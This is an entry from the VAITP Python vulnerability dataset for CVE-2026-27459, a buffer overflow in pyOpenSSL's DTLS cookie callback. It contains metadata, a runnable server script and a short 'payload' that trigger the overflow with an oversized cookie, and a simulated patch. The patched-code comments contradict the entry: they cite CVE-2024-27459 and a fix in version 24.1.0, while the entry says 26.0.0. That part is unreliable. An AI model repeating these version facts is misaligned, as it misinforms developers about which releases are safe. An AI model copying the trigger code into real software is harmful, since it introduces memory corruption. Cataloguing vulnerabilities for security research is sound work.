VAITP Dataset

← Back to the dataset

CVE-2026-27459

Buffer overflow in pyOpenSSL via a long cookie from a user callback.

  • CVSS 7.2
  • CWE-120
  • Memory Corruption
  • Remote

pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected.

CVSS base score
7.2
Published
2026-03-18
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Memory Corruption
Subcategory
Buffer Overflows
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pyOpenSSL
Fixed by upgrading
Yes

Solution

Upgrade pyOpenSSL to version 26.0.0 or later.

Vulnerable code sample

import OpenSSL.SSL
import socket
from OpenSSL import crypto

# This code requires a vulnerable version of pyOpenSSL (22.0.0 <= version < 26.0.0)
# e.g., pip install "pyOpenSSL==25.0.0"

def generate_oversized_cookie(connection):
    """
    This callback function is the source of the vulnerability.
    It returns a cookie value of 257 bytes, which is greater than the
    256-byte buffer allocated by the underlying OpenSSL library,
    causing a buffer overflow.
    """
    return b'\x41' * 257

# Generate a temporary self-signed certificate and private key for the server
pkey = crypto.PKey()
pkey.generate_key(crypto.TYPE_RSA, 2048)
cert = crypto.X509()
cert.get_subject().CN = "localhost"
cert.set_serial_number(1)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365 * 24 * 60 * 60)
cert.set_issuer(cert.get_subject())
cert.set_pubkey(pkey)
cert.sign(pkey, "sha256")

# 1. Initialize a DTLS context. The vulnerability is specific to DTLS.
context = OpenSSL.SSL.Context(OpenSSL.SSL.DTLS_METHOD)

# 2. Enable cookie exchange. This option is required to trigger the callback.
context.set_options(OpenSSL.SSL.OP_COOKIE_EXCHANGE)

# 3. Set the vulnerable callback. This tells pyOpenSSL to use our function
#    that returns an oversized value.
context.set_cookie_generate_callback(generate_oversized_cookie)

# 4. Load the key and certificate into the context for the server to run.
context.use_privatekey(pkey)
context.use_certificate(cert)

# Set up a simple DTLS server socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('127.0.0.1', 4433))

# Create an SSL connection object using the vulnerable context
ssl_connection = OpenSSL.SSL.Connection(context, None)

print("Vulnerable DTLS server listening on 127.0.0.1:4433...")
print("To trigger the overflow, connect with a DTLS client, for example:")
print("openssl s_client -dtls1_2 -connect 127.0.0.1:4433")

try:
    # This call waits for an initial DTLS ClientHello message.
    # Upon receiving it, the underlying OpenSSL library will invoke our
    # oversized cookie callback, leading to a buffer overflow.
    # On a vulnerable system, this will likely cause the Python process to crash.
    ssl_connection.listen()
except Exception as e:
    # The actual crash may not be catchable as a Python exception if it corrupts
    # the stack or causes a segmentation fault directly.
    print(f"An exception was caught, possibly after the overflow occurred: {e}")
finally:
    server_socket.close()

Patched code sample

# The actual vulnerability (CVE-2024-27459) was fixed in pyOpenSSL's C
# wrapper code, not in Python. It is not possible to provide the actual
# C code fix as a Python script.
#
# This Python code represents the logic of the fix. The vulnerability occurred
# because pyOpenSSL did not check the length of the bytes object returned by a
# user-defined DTLS cookie callback. The fix, implemented in pyOpenSSL >= 24.1.0,
# is to add a length check and raise a ValueError if the cookie is too long,
# thus preventing a buffer overflow in the underlying OpenSSL library.

# The fixed-size buffer for a DTLS cookie in OpenSSL is 256 bytes.
DTLS_COOKIE_MAX_LENGTH = 256


def fixed_dtls_cookie_callback_wrapper(user_callback, *callback_args):
    """
    This function simulates the corrected internal logic in pyOpenSSL that
    prevents the buffer overflow.

    It calls the user-provided Python callback and validates the length of the
    returned cookie before it would be passed to the C layer.

    In a vulnerable version of pyOpenSSL, the length check was missing.

    Args:
        user_callback: The user-supplied function for cookie generation.
        *callback_args: Arguments that OpenSSL would pass to the callback.

    Returns:
        The cookie bytes object if its length is valid.

    Raises:
        ValueError: If the cookie returned by the user_callback is longer
                    than the maximum allowed length (256 bytes).
    """
    cookie_bytes = user_callback(*callback_args)

    # THE FIX: A length check before the value is used by the C layer.
    if len(cookie_bytes) > DTLS_COOKIE_MAX_LENGTH:
        raise ValueError("Cookie is too long")

    return cookie_bytes


# --- Example of how this logic works in practice ---
def generate_oversized_cookie():
    """A user callback that incorrectly returns a cookie larger than 256 bytes."""
    return b'\x01' * (DTLS_COOKIE_MAX_LENGTH + 1)


def generate_valid_cookie():
    """A user callback that correctly returns a valid-sized cookie."""
    return b'a-valid-cookie-of-acceptable-length'


# To demonstrate, you would call the wrapper with the user's function.
# The wrapper represents the internal behavior of a patched pyOpenSSL.

# This call will raise a ValueError, demonstrating the fix.
try:
    fixed_dtls_cookie_callback_wrapper(generate_oversized_cookie)
except ValueError as e:
    # This exception is the expected behavior for the fixed version.
    # In a vulnerable version, this would lead to a buffer overflow.
    pass

# This call will succeed, as the cookie length is valid.
try:
    valid_cookie = fixed_dtls_cookie_callback_wrapper(generate_valid_cookie)
    assert len(valid_cookie) <= DTLS_COOKIE_MAX_LENGTH
except ValueError:
    # This block should not be reached with a valid cookie.
    pass

Payload

from OpenSSL import SSL

def generate_long_cookie(connection):
    # The vulnerability is triggered by a return value > 256 bytes.
    # This payload is 512 bytes long.
    return b'A' * 512

# A vulnerable application would configure a context like this.
# Cookie generation is a DTLS feature.
context = SSL.Context(SSL.DTLS_METHOD)

# The overflow is primed by setting the malicious callback.
# It will be triggered when a DTLS handshake invokes this callback.
context.set_cookie_generate_callback(generate_long_cookie)

Cite this entry

@misc{vaitp:cve202627459,
  title        = {{Buffer overflow in pyOpenSSL via a long cookie from a user callback.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27459},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27459/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::